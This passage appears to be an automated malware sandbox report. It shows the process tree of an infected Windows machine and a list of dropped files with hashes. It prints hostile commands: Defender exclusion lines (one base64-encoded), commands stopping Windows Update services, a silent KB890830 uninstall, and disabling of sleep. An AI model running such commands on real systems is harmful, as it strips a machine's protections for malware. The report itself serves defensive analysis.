- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2104

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2104.0.263026623\1229574512" -parentBuildID 20221007134813 -prefsHandle 1684 -prefMapHandle 1672 -prefsLen 20747 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1d2e851a-c839-4fdb-8f97-3599a93bef61} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 1776 2bd8bddcb58 gpu
3⤵
PID:1784

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2104.1.1423504891\692995425" -parentBuildID 20221007134813 -prefsHandle 2096 -prefMapHandle 2092 -prefsLen 20828 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {23670088-40b3-4b07-b26f-914690394673} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 2132 2bd8b8e4158 socket
3⤵
- Checks processor information in registry
PID:664

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2104.2.193900907\1659213740" -childID 1 -isForBrowser -prefsHandle 2904 -prefMapHandle 2900 -prefsLen 20931 -prefMapSize 233444 -jsInitHandle 1060 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d9f5cf88-97d8-4702-8a8f-9c65c654c90d} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 2916 2bd8fdb4b58 tab
3⤵
PID:824

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2104.3.747764488\547259287" -childID 2 -isForBrowser -prefsHandle 3196 -prefMapHandle 3132 -prefsLen 26109 -prefMapSize 233444 -jsInitHandle 1060 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {990078f5-5627-49a9-bbec-ff633854ffaa} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 3524 2bd90c9c258 tab
3⤵
PID:1768

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2104.4.776328869\1248913378" -childID 3 -isForBrowser -prefsHandle 4176 -prefMapHandle 4148 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 1060 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {03f68824-9c8d-4b2e-8bb3-72ad86ad34f6} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 4204 2bd91a86758 tab
3⤵
PID:5084

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2104.5.1489261787\2087614881" -childID 4 -isForBrowser -prefsHandle 4712 -prefMapHandle 4692 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 1060 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0611255a-c246-4434-8a38-ac983ea8c139} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 4720 2bd903fc158 tab
3⤵
PID:2972

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2104.6.1341556581\1905462545" -childID 5 -isForBrowser -prefsHandle 4840 -prefMapHandle 4844 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 1060 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d3fc6c7e-783f-4ecf-91db-38de91223b24} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 4924 2bd92205e58 tab
3⤵
PID:2984

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2104.7.106039303\2079617068" -childID 6 -isForBrowser -prefsHandle 5060 -prefMapHandle 5064 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 1060 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {14d42147-e23b-406f-bb07-5554900c252c} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 4720 2bd92208558 tab
3⤵
PID:1860

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2104.8.382224794\1348029076" -childID 7 -isForBrowser -prefsHandle 5564 -prefMapHandle 5568 -prefsLen 26328 -prefMapSize 233444 -jsInitHandle 1060 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {9e7b0688-16de-49e6-8994-dce56d193efe} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 5480 2bd93724658 tab
3⤵
PID:4236

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2104.9.1665361563\424361350" -childID 8 -isForBrowser -prefsHandle 5716 -prefMapHandle 5720 -prefsLen 26328 -prefMapSize 233444 -jsInitHandle 1060 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {270c9e13-3218-4d7e-b629-74be13e51c78} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 5708 2bd93852c58 tab
3⤵
PID:1596

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2104.10.1418512179\700359717" -parentBuildID 20221007134813 -prefsHandle 4664 -prefMapHandle 4572 -prefsLen 26328 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3830c5ae-35a3-4034-8797-b71ea107099e} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 4436 2bd914bcb58 rdd
3⤵
PID:5336

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2104.11.329958620\1008776908" -parentBuildID 20221007134813 -sandboxingKind 1 -prefsHandle 4436 -prefMapHandle 4248 -prefsLen 26328 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {487e63fa-6161-4c57-b54a-802ad8217f9e} 2104 "\\.\pipe\gecko-crash-server-pipe.2104" 4428 2bd92169858 utility
3⤵
PID:5360

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:6276

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:1044

C:\ProgramData\wikombernizc\reakuqnanrkn.exe
C:\ProgramData\wikombernizc\reakuqnanrkn.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:6456

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:7044

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
PID:6168

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:884

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
2⤵
- Launches sc.exe
PID:5748

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
2⤵
- Launches sc.exe
PID:5396

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
2⤵
- Launches sc.exe
PID:1864

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
2⤵
- Launches sc.exe
PID:596

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
2⤵
- Launches sc.exe
PID:3900

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
2⤵
- Power Settings
PID:5896

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
2⤵
- Power Settings
PID:5476

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
2⤵
- Power Settings
PID:3824

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
2⤵
- Power Settings
PID:4892

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:5972

C:\Windows\explorer.exe
explorer.exe
2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5144

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAARgBhAGwAbABiAGEAYwBrAEIAdQBmAGYAZQByAC4AZQB4AGUAOwA=
1⤵
- Command and Scripting Interpreter: PowerShell
PID:6332

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5540

C:\Users\Admin\AppData\Local\Current\vfxnegawj\FallbackBuffer.exe
C:\Users\Admin\AppData\Local\Current\vfxnegawj\FallbackBuffer.exe
1⤵
- Executes dropped EXE
PID:4224

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:6448

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
1⤵
PID:400

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
Filesize
5.0MB

MD5
a3fb2b623f4490ae1979fea68cfe36d6

SHA1
34bec167e0f95ecc36761f77c93c1229c2c5d1f4

SHA256
3bc9c1d7f87f71c9e98fac63c2f10d2651f51848082a85d6b3550649e4289d56

SHA512
370b23364bcf8f07aa951c1c6a9d6b03b516db8fd7444d25087ad8071c54bb06fd50ce311a205e0770211167728d86516e934a39a606f0bf0c9fbdd13dca7912

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Filesize
216B

MD5
7c4833e172c8e4ad57914cde593aff84

SHA1
b707cdf55ece06df5f3ceeb84cf8a695cf16f78a

SHA256
1c4bc801255a82cb025315b3589f607f1baec93f64e04e1d6383608d765f5a5b

SHA512
a8417861715a268a236e10fd119ce8790925f9c5413311c0676c3054a494f1900fb50ef3ab9df32ae7e198423f9d137a7008854fef84a83c11c6a911c3eb3ee4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Filesize
1KB

MD5
244bdfb8d0b7345965f054838937e1e6

SHA1
5e0fd85fc5a82bfc5292cc26be331a0cb3b87227

SHA256
eed8b2724b05cdb82105087648e8e4bfe8979f1bc082263c5b3e8f2ad95889c7

SHA512
e2ef573e92d55d3e35af6e9291a4ef4158a3007740c078ebc5e564c43c335cd0d082950cf0e849ce9db57255022a653bf98ae9b93c15655802f21dc9b2016408

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Filesize
2KB

MD5
a5bbc14e7b41be9e77a686f4ce31e296

SHA1
205dcb74adad684793be19b9a1c805146ebc922a

SHA256
bcdc9816e5f7c15f3a09fc711be38d5b1d0f5c0942f59706561c00a6531675a6

SHA512
c2f429d0cd488b3d8cadb969c3c29ce5b8992df0dd2a0264d265ac5d0e643066b096b1e51f90a6b9c234d99f3855e2cd91606fc803f15c34d83c0955022dd057

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Filesize
369B

MD5
5c2679f42beb6ca50a6145c0f0d53b7c

SHA1
679e35651aba67a854bf46a1fed12687a9c96ba6

SHA256
45f80607ffa744f29032809dac10be71dd9c6e75a4f7f51c3d63bcd0581e1c85

SHA512
6445e5fa733dae3a47e74d2345b42307e5b9878fd0311444ccb221d2fa07a29c0881d33050d99b68055845b7e8cba50d593410596b972c55674701f0c5953f3f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
6KB

MD5
2be1124edfd5d08338e7997a13f16631

SHA1
01ab939c55108717540f9e168ae928ad4ab8d227

SHA256
2955de7eb5b9339abb82fce3f70e56e009621e7ccfb6ac6aebf1329493548d57

SHA512
7b0358ed67b36f78b3b7cb5af5ec209a0860bc7482563cbaab74fffac3367518ae6c5d851b723aec0b7796105a36e9c6bd0139178eac70b6a195377d618ae692

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
6KB

MD5
c56c9308def809016209a18e58da0e16

SHA1
25cf3b631dad2808a4ddf776b36bb50b0a636538

SHA256
ddfc4947fde91772aa391e0e6d017c2d8c582b3fa1e51235abd1912d56d63917

SHA512
a3ba13ebc711527ae46734e58c32b285347262ff1dd06276f28a402c89f1c50e62a33e2e5e3058a91be42d054b1e6ad45baa5c1dfea9f117625797f8c251e1d5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
6KB

MD5
99d6c70900033ff1a360697b11dfe411

SHA1
50e326dbb0360a4a89bff0ad673c2e508ff0743f

SHA256
7741c79353de498fba14b0f13fcfd0bf3f9b264bd454217db53b89635547919d

SHA512
c58ebfb058ff1362986a2aba44a064f2a2f24e45e90af754a9f7d009a75c02b589610ac7e695c5fdeba590a24cc7774dfdf3e679c81a5a822f4f827f7824bb60

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
6KB

MD5
aabdb86563fc7f197f615212ea599265

SHA1
056e2f3bf2fc9ea498946ca9ea675ae638bb8edc

SHA256
091546c9d46e776279237e0b0087e4a6d021f4036f78cf276c16ee063fb76358

SHA512
b75793bd7f78b4236b19e0157c4c197f057f0ec71c62b759c83ada6e2476e322fdf99423b5df7ec43a9d9008ace9871b8458d463780cd2c4b3925e88194a095d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Filesize
12KB

MD5
65fb2eea0659ee84ea299dff1d12a046

SHA1
56b22bf1028273a2e45b542adaf0964147d1d62b

SHA256
1f0a73288fa193a1c10f4ea445f63312931f01387646ddf1e70bdbe02c34fd7b

SHA512
e47a8d746e3b52a4bac9361ad7c7023247d279ab5c84f1e8987f123869d65fc6ead63a24715e74219a575af90e5bfed289fa91c1c0a52c801f495e3dfc7cf702

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Filesize
289KB

MD5
cb1cbf4fc7d6c7cb719d9b7e70959a42

SHA1
ee71418a353932501e79442345e94b38c37d7f27

SHA256
ee347fa7080edf057ca6ad394d097a890824936d14e57f0498e16348e435f378

SHA512
d8c95e15cfd110b848f15c24b33de461c09f94f55fe699e2654535a2a2e40decb10aa8f7bbacab783d7a9c2fa7e40cf748cf088e308b96ddd62b43503ebbc991

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Filesize
289KB

MD5
d2c5e9a9523feb89e0bb0bc63f2d3945

SHA1
5ad34e29c5772a7d21ce1450f6dfdecd021410dc

SHA256
b2339e0380c2c5c01474061a0845aba824854e6f19c7c6d841ecf0348b79afc7

SHA512
2c1b91f064159d7d11350a5594a781f7588e7e36382d9b334b1b1803668d377badb66b054f61af42f11dcf4bc34fff0ab76d550cd1b649978eeabe79ea2c57e6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1
Filesize
264KB

MD5
5c74b4ebc5c9f906fb3eccfa85b03ee8

SHA1
55ca248f1514e7b69d882374fd08f52da7250530

SHA256
37e44149d192b0dd783d7b19667904c3a9dc8c4ed1890664aeef4f4e0113626f

SHA512
c3279d23c0a9e2a42db509a49a5c51864a65757d35ecf0799be6de18efb85ac1b1ba30c44e9282006987b304f3aac0d69ad18a0d5a3ed719b7ada9af2486c0f3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.json
Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ghjkl.exe.log
Filesize
805B

MD5
381393509a7caf144cbffd96f55e0ae8

SHA1
15e2d6530fea05ca9d986535c570fcf7f8d91481

SHA256
5e8d9d066e20c07aa52b8d07d60fde4b633bb393ab1bc63a77f78d81f9512b42

SHA512
ed35defb962342f2958eb32b5b2958e2e7e70cc9420188a0364e453077e4eeb7f042eb91610d0d38e0c6137da1ac8cb2c746eab28ed1f012cc7231d8c72f5290

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Britney
Filesize
15KB

MD5
f5339a664c62f59758f97c27e5f18250

SHA1
6fe5f98d6bf4f9271d89d90760cb8abcd5cb0b42

SHA256
c7a2bb2a2938356cd5ca3fb1854dbd6972e5cf0482e2958cd82bb076d0f6ac69

SHA512
b3bd2f5235059a2c8b9058f888c6f4fffaa2bb603c15dfcde442dd9812a54642868bb3c05b18921da743713351b6ede41f6788e46af543d8e7eb5bdd5f8b8c3b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Defeat
Filesize
8KB

MD5
5fa2ab455cc5da6e96ab13dd1cd54bb6

SHA1
81d893c35c38ae7516582fcc51bce0b1e53f941d

SHA256
48c0322e96b304cd939baf6d79183e69069678b89184d7a8c43804769095fad2

SHA512
06e3ce00536694b0ee72809480f820e90decbc3b3337ef148fa18caeb502f799485c4c1cd1342cc8debff83e0d76f0e8d13b93a75419631da78aa8c59a4d9f6d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Descriptions
Filesize
10KB

MD5
ac7ade76b8beaf6a938d53b3caaba512

SHA1
23cd8c38ed38d7619cde18b13b9a5aa39daec08e

SHA256
7ae2ec9669a960155327bd0a4bc77910a1b99583b52992d7cd8199e4f6ca2f69

SHA512
ff4af167f39599d7fcb3bfc94cd3dce9f0ae025298e43d2fd4a6847881d6317463df3f5610d1ae1dc9fdd6de44f9ce156f5b3543c6df4fe2e6b39a524330e705

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Ed
Filesize
8KB

MD5
f47d19edcc3babcde919e3c34e823295

SHA1
6c7258605316c1fb24f8ab4356c4a7124c21b69e

SHA256
f455c49ee56b4c49cf34ad0cd07986b5f55b504a8b523ea0eb79f332a255a3d6

SHA512
9df301ff7113259e13beebf5a7d1b2270c65c568612539bf26416eab2edb3af591a30279793700a881972de4266e1c9e044db3c0de5b6a1d328b700c3004698c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Going
Filesize
44KB

MD5
011c56ba5d5ca60775be001bcfda7f24

SHA1
b28ce248f4b2ada7c85224660a17e9bd64ef53b6

SHA256
f6ad9a10f800b1238e3c608f7d703420c856c87375bf0bee5b4c58ceefbc23b9

SHA512
f263c079c8086c0e9e11062951f5227d79959153880710d0d972944497b0216ee4140d6c66c81173b47f778ef0eb05d6ffbfd6e9e2c8e89b1fb7938ffb38a374

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Ink
Filesize
62KB

MD5
2748c48bf017ec2dbf73d2c49e9c9a71

SHA1
16f9e9bd7f47653605562daccd7524e5920a58a3

SHA256
ed5050fbe794268c6edbe49f8fb226acf859a2c68251c4cb7fc8db4b90ec791d

SHA512
c66c9350217284e5a0f8a574cfc910efd798f66315195d716b4ba086595c6c62f2f7b4d505f23af3c9ad615fe6edcaf687404bf81627a39ca356f8392f8a0cdd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Proc
Filesize
13KB

MD5
3401516a7640eb223c1b2f7e618c451d

SHA1
f865b234e6c653130afb438bc7c5260cde3abf92

SHA256
9c279dfab8f0a455caa5e1272a37d523d54af33a1b8b8c661121c175e8815692

SHA512
94ecb28fde13608a2a0436c7335347d8c8627fcbdbc8c3cf480d7175c086b544ba068ed566fb9174ed78a318ae6ff4337a863c5a220158e5320d1e237ea1786b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Spirit
Filesize
19KB

MD5
e3da5f2550d27668b287d2d8781d72fe

SHA1
c492e85131f137f564eebfb92ff0d5208350ba39

SHA256
338c5edf0aeef9a14ffcaccfa0463ba901bc4b93e6764175df4f1c148cf87168

SHA512
ca550c7c69920203aa53096882fb408a4bd1af8438dcedb02f43bd32d125328e09f31677bd77bbdafee9fadb553fa0fd11e6d2c951482033a2e3b08d2b9b39ff

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Sponsors
Filesize
66KB

MD5
33e77dd003343a54fb3f3c69cb2bd71c

SHA1
caba565823d9841ebdadc743741b03b9f098eec5

SHA256
e21533aaf685290de228ac13e8eeb0ed0195192e1c18108ad2dcf9f090b14404

SHA512
8ffcaf2432aae89f0e2f1eabe4f42b0cfe7f990914ddc988718d1a41ccdc9f5ab62f2138d32fe8054a70b63596525bbc3a109529d1963de64a9a7f67efb54d7a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Stayed
Filesize
35KB

MD5
326771f3c4cabaab267bba316782af10

SHA1
3402750abcc2f61054bf751bc7f5228ed3cb49f6

SHA256
ce774c5b786f3bcad31d8e9ac06a43747f59d5d9ddcd96db488beb16af3a10dd

SHA512
df7d2c48f39833db0da5e4c5bcf2ad3be4ec0e9f60a2b8c6a888a7f74eb8a6b3ad604fffedee2bc2288eabb59d073272fb5edd7733348db70e37163c138e086f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Switched
Filesize
12KB

MD5
052bd98c12eb6881b0ef0e5809d1dac8

SHA1
5a678738efb5b39b6d6c2503a3da00ecfd3539ae

SHA256
12387059317cee313e858a6707c3abc0aad950d383621ec109acffa1a1e3c456

SHA512
86394e8351977784a8dc512aca1a0fd874903fd98c7b7418fac13a13ef4d9654141496211d9808bbd033a9340ed00da0c2b612318eff8425f63f561f0fb91321

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Tank
Filesize
155B

MD5
98d329abe01cf448863e8bc0bd01fddc

SHA1
72e41bbce5c1a58c7093fdceb16a4d4ceceedc14

SHA256
e37dd741efc2fe87d76ff42c501ab30ce887d19de47834e30d8e96bbb33637f5

SHA512
b4b9b3c37ba8dcbf331686e3b8fc8533a2c33e449729cb6b00d21575b9975f59bf3c1357bd3d405ebc40e9a180c21e52a5ed172db01365e639ba6d095905c2ba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Teaching
Filesize
10KB

MD5
c5e2683b5a8426fdc75ad224c4c3b432

SHA1
24e8fa9fff6afbef893ca612786526de4d3f7866

SHA256
42d15faa6a365a2d83698253fedbe72a13cbd5b7cf34234073e743a12d7ee276

SHA512
0e5a8bbfad9af2d7646ce1cef789baf1967ffdb70b0303d5507732ea1e1fd98658681d6cbf520bcd129109c032bb12996f5d11d71eb688020d36cb949ddc5642

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Warcraft
Filesize
19KB

MD5
bf4a4bfb3e732742fed6fad23a0c80bc

SHA1
fd1063b5166e6ca2e3ca878c05e017508ec951e0

SHA256
1a0a41581f11dadb5a0bc39c9be1fc544f3c178f46d503bc5d28a148764a8c6f

SHA512
edb30a9016d0471a02d4a460011f38391b969f268deaeb51e01f392edb0d9c2a3ba0938cfcf5207160c328476df5957a74d04a777a84115d4dc4e2f5bf8cc184

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Williams
Filesize
43KB

MD5
d4e43ffff41889264559e1ea234696b3

SHA1
d0c2f318fc64715d5c7c7ed6612b0383bba202de

SHA256
b32991a917dbea6f4c1309dd51c596c6aff925a563df1627f7cf5feb7f234a64

SHA512
9a2d5aa2ca6fde40f0635d8b0a2d9e3a14ce3565dcec34192d6c690eda8139795185cf32581990b28ca9853415be1de9a8488f11b902e3ff7910e266ab89405f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Windsor
Filesize
47KB

MD5
c734f7c2828866b315e700633b23585a

SHA1
e130edbe1002a0ac5dc36b9dc378b3377c25f539

SHA256
a64a886e83d6e03b962790b6a1da7c5fa436b7c58ac7e10ae644c367f3363da5

SHA512
80481e4810e3107f2a3ff2a54b31cc6c1997a62cc1b6c92dc03c306a7b3a378f232fd57801762f76e5cfbf87e6ca35115b258aa700bbb2439a17877803ff7c24

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
16KB

MD5
bc53ff7f4f305213b7c571e80a92c66d

SHA1
d496e31dc6bca195db2c2b50e9a85045611b5231

SHA256
4ee358bf69c880481ffc10d8f046f4a0f16ff5fdd22db840c025f00f26d8a981

SHA512
8edf99c10a66809b11c0da4482aa52a34952d1cca6cb01d9d4a1b5846347d02c20870d456d5a852efdd5d6d2cebf16801f931567c3b11b7024f033f08dbf1c2d

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000016001\55f76d2d42.exe
Filesize
2.3MB

MD5
5825511fff6477d37c0252823e3a6086

SHA1
2d1ee4a1219fbf845923d4c0d08498fd15e901de

SHA256
84371435f061c089b0f6ea8d1b6393e573e87566f8eb5986abba4430d232dd8c

SHA512
4b3c3f7c6dd41eb4eb522e8ec4eec8f597b02bbfafcccc03eeb8fab37d95c2f9337d1eacc393b4b5ff4b91560344f518390af2a99ddb2086222ecc8e63d3db2d

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000017001\143a41833f.exe
Filesize
2.3MB

MD5
7bda3a8d02db0fbf3b30f4c4f1f3dce0

SHA1
395bb95c0968d7de5c515bf79b0c3d633b948de8

SHA256
ec5e49d47bf3f317c3ca1547a349aec2adcbc9cefc04680eebbb7fa3749df9ac

SHA512
3566598881ae75598561473a1f60541c0f5c4559ec7d3378d5f2ef90468c4299ccc5d95d3b7c4645609c7b42ff543e9533d78bebb01aec82613760998799b2f3

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000020001\num.exe
Filesize
2.4MB

MD5
26a77a61fb964d82c815da952ebedb23

SHA1
8d9100fcc2e55df7c20954d459c1a6c5861228a1

SHA256
2e1662bc8b93a8cea652f916afa628ce5646e3b62d15cf584188f7df066dca73

SHA512
793a6dcd9d3eae88b25a24895f0cf2b23060e8b59788b0bbf357a8fd7df0f536301912dcdd8c2ccf08313f89322a350c5bbc0bdce08a44bedd862cf8d421ab9a

Download Submit
C:\Users\Admin\AppData\Local\Temp\BLueHvffhw.exe
Filesize
2.7MB

MD5
abf2da5b3e7845f50463a72f8b6e6aaa

SHA1
a5299f55950ca82134da73b9e9844c5d624114c3

SHA256
2a4b1ae0ae67cd31f85680e6351bd5b92ff61e246c158decb1a43a3ef01d9f2c

SHA512
570e8becd18b36d66a2ac295518c8ba3c0bc83d8a6175e601b509efd9237462d1d0826dbeb9e52465e7cdcd57cb4ae7fd859ddc4a5aad895cef6ef7fa981e8a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\228.exe
Filesize
889KB

MD5
fb88fe2ec46424fce9747de57525a486

SHA1
19783a58cf0fccb5cc519ebf364c4f4c670d81ce

SHA256
cbd9e9333684de488c6fd947583149065d9d95b031d6be7a0440c2581a304971

SHA512
885d0ec96eb73c3213c9fe055620c70561ca1aecc5f9cb42cc8e1c26b86c383e92f506e8da4696c7ff7c4feafe09791ab900b2a983528b680224af347ef4b40c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\Chr0me.exe
Filesize
